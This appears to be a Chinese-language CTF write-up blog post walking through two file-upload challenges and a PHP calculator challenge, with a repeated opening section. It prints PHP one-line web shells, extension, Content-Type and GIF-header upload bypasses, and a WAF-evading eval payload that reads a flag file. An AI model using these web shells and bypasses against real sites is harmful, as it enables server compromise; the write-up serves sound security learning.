[ACTF2020 新生赛]Upload 1
进去就是个灯泡, 鼠标移到灯泡上出现文件选择框
试着上传一个php
后缀一句话木马
前端限制后缀, 直接BP抓包改后缀
后端也有限制, 传统艺能, 改后缀为phtml
文件直接上传成功, 接下来就是菜刀时间
flag就在根目录
进去就是个灯泡, 鼠标移到灯泡上出现文件选择框
试着上传一个php
后缀一句话木马
前端限制后缀, 直接BP抓包改后缀
后端也有限制, 传统艺能, 改后缀为phtml
文件直接上传成功, 接下来就是菜刀时间
flag就在根目录
进来就是一个普通的计算器, 输入表达式给出结果,先看一波源代码
被设了WAF, 咱也不知道是防的啥, 接着看.
请求参数被发往calc.php
, 我们直接访问一下看看:
源码直接显示出来了, 可以看到有很多过滤, 很多字符都被列入了黑名单. 先看看能不能得到当前的文件绝对路径
网页直接Forbidden
了, 经过测试,
只要num
的参数里含除数字以外的字符就会如此,
这应该就是之前说的WAF了, 不绕过这个WAF后面的操作都无法进行下去.
但是要绕过这个漏洞,
首先要知道php在解析提交的参数名和其对应的值时都做了什么
PHP需要将所有参数名转换为有效键名(比如在$_REQUEST变量里的关联数组里, 有所有提交的参数名和值)
所以
php
至少会干两件事1.删除某些字符
2.将某些字符转换为下划线
_
以下为一些本地测试结果:
- 位于提交的参数前面的
[空格]
、%20
或+
会被删除, 比如提交param=1& param2=2(或param=1&++param2=2)
, 最终在$_REQUEST
里是("param1"=>"1","param2"=>"2")
- 位于提交的参数前面的
.
会被替换成_
, 提交param=1&..param2=2
, 最终在$_REQUEST
里是("param1"=>"1","__param2"=>"2")
- 位于参数名中间、末尾,无论是
[空格]
、+
、%20
还是.
都会被替换成_
这个WAF我们可以采用在num前面加个空格方式绕过, 构造payload:
1 | calc.php? num=var_dump(scandir(chr(47))) |
scandir()
可以列出根目录下的文件,
但是/
被过滤了,
所以用chr()
函数,采用ASCII
码的方式绕过
根目录下有个f1agg
,
想必就是我们要找的flag了.
故技重施, 用chr()
函数拼出路径,
再用file_get_contents()
(也可以用highlight_file()
)获取里面的内容,
payload:
1 | calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
进去就是个文件选择框, 先上传个头像上去看看, 用BP抓包
正常上传,
下面我们新建个test.php
一句话木马文件并上传试试
1 | <?php @eval($_REQUEST["shell"]) ?> |
显然是不行的, 被识别出来了,
用BP抓包改Content-Type
为image/jpeg
看看能不能骗过去
错误提示变了,但还是传不上去, 推测可能是文件后缀检测,
可以采用其他后缀绕过,
常见的后缀有php*(如php2, php3), pht, phtm, phtml, phps
等
我们试试把后缀改成phtml
试试
注意: 有的后缀即使上传上去了也不能被执行, 取决于服务端配置
错误变了, 说明改后缀是对的, 但是这次又遇到新的检测.
让代码里不包含<?
, 只需要换个形式的一句话木马即可:
1 | <script langage="php">@eval(@_REQUEST);</script> |
错误又变了, 被检测到不是图像文件, 检测文件类型很有可能根据文件头了, 我们试着给一句话木马加上一个图像文件的文件头绕过检测
常见的图片文件头
1 | GIF89a |
GIF的文件头最容易添加, 所以这里我们采用它, 其他文件的文件头要利用010 Editor这种十六进制编辑器来进行操作, 不方便
一句话木马成功上传了上去, 猜测上传的文件放在upload文件夹中, 试着访问一下执行个指令
成功执行, 接下来为了方便操作, 省去手工使用指令的麻烦,
使用中国菜刀
和中国蚁剑
之类的软件连接webshell
,
这里我使用中国蚁剑
.
成功连接, 接下来我们只需要找到flag即可, 通过翻查文件目录, 发现flag文件就在根目录
任务完成~